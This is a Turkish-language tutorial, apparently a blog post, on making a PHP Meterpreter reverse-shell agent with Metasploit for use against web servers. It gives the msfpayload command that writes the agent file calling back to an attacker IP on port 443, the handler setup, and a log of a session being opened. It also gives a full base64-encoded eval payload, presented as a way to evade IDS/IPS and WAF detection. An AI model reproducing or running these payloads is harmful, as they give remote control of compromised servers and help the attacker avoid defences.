Web sunuculara yönelik saldırılarda çeşitli zaafiyetlerleri istismar eden saldırganlar, hedef sunucuda komut çalıştırmak, dosya/dizin işlemlerini yetkisiz olarak gerçekleştirmeleri için web tabanlı bir ajana ihtiyaç duyarlar.Hemen hemen her türlü yazılım dili için yazılmış web tabanlı ajanlar bulunmaktadır. Metasploit Exploit Framework projesinde bulunan Meterpreter Payload’ıda PHP/Java formatını desteklemektedir.
PHP Reverse Shell – Meterpreter Bağlantı Türleri;
BIND: Hedef sunucuda bir tcp portunu dinlemeye alır.Hedef sistemde port açar!
Reverse: Ters bağlantı ile saldırganın sistemine bağlantı kurarak, hedef sistem ile saldırgan arasında bir oturum oluşturur.Hedef sistemde port açmaya gerek yoktur!
Meterpreter Reverse PHP Payload Hazırlamak;
./msfpayload php/meterpreter/reverse_tcp LHOST=91.93.119.87 LPORT=443 R > ajan.php
ajan.php dosyası hedef sunucuda çalıştırdığında, saldırgana ait 91.93.119.87 ip adresinin 443. portuna bağlantı kurup hedef sistemin komut satırını çalıştığı prosesin yetkileri ile saldırgana iletecektir.
Meterpreter bağlantısını karşılamak için;
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 91.93.119.87
LHOST => 91.93.119.87
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit -z -j[*] Exploit running as background job.
[*] Started reverse handler on 91.93.119.87:443
[*] Starting the payload handler…
[*] Meterpreter session 1 opened (91.93.119.87:443 -> 188.124.8.106:50130) at Sat May 07 09:21:52 -0400 2011
Encoder Kullanımı
Meterpreter ile oluşturduğumuz php payloadı www.virustotal.com adresinde bulunan antivirusler tarafından zararlı yazılım olarak tanınmıyor, fakat IDS/IPS veya WAF sistemleri tarafından tanınma ihtimaline karşı içeriği encode etmek isteyebiliriz;
Base64 ile Encode Etmek;
./msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R | ./msfencode -e php/base64 -t raw
[*] php/base64 succeeded with size 1742 (iteration=1)eval(base64_decode(Izw.chr(47).cGhwCgplcnJvcl9yZXBvcnRpbmcoMCk7CiMgVGhlIH
BheWxvYWQgaGFuZGxlciBvdmVyd3JpdGVzIHRoaXMgd2l0aCB0aGUgY29ycmVjdCBM
SE9TVCBiZWZvcmUgc2VuZGluZwojIGl0IHRvIHRoZSB2aWN0aW0uCiRpcCA9ICcxOTI
uMTY4LjEuMTAwJzsKJHBvcnQgPSA0NDM7CmlmIChGQUxTRSAhPT0gc3RycG9zKCRp
cCwgIjoiKSkgewoJIyBpcHY2IHJlcXVpcmVzIGJyYWNrZXRzIGFyb3VuZCB0aGUgYWR
kcmVzcwoJJGlwID0gIlsiLiAkaXAgLiJdIjsKfQoKaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V
0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgewoJJHMgPSAkZigidGNwOi8vey
RpcH06eyRwb3J0fSIpOwoJJHNfdHlwZSA9ICdzdHJlYW0nOwp9IGVsc2VpZiAoKCRmI
D0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgewoJJHMgPSAkZigkaXAsIC
Rwb3J0KTsKCSRzX3R5cGUgPSAnc3RyZWFtJzsKfSBlbHNlaWYgKCgkZiA9ICdzb2NrZXR
fY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7CgkkcyA9ICRmKEFGX0lORVQsIFNP
Q0tfU1RSRUFNLCBTT0xfVENQKTsKCSRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICR
pcCwgJHBvcnQpOwoJaWYgKCEkcmVzKSB7IGRpZSgpOyB9Cgkkc190eXBlID0gJ3NvY2tl
dCc7Cn0gZWxzZSB7CglkaWUoJ25vIHNvY2tldCBm.dW5jcycpOwp9CmlmICghJHMpIH
sgZGllKCdubyBzb2NrZXQnKTsgfQoKc3dpdGNoICgkc190eXBlKSB7IApjYXNlICdzdHJlY
W0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsKY2FzZSAnc29ja2V0JzogJGxlbi
A9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7Cn0KaWYgKCEkbGVuKSB7CgkjIFdlIG
ZhaWxlZCBvbiB0aGUgbWFpbiBzb2NrZXQuICBUaGVyZSdzIG5vIHdheSB0byBjb250aW5
1ZSwgc28KCSMgYmFpbAoJZGllKCk7Cn0KJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsK
JGxlbiA9ICRhWydsZW4nXTsKCiRiID0gJyc7CndoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikg
ewoJc3dpdGNoICgkc190eXBlKSB7IAoJY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJH
MsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOwoJY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja
2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOwoJfQp9CgojIFNldCB1cC
B0aGUgc29ja2V0IGZvciB0aGUgbWFpbiBzdGFnZSB0byB1c2UuCiRHTE9CQUxTWydtc2d
zb2NrJ10gPSAkczsKJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsKZXZhb
CgkYik7CmRpZSgpOwo));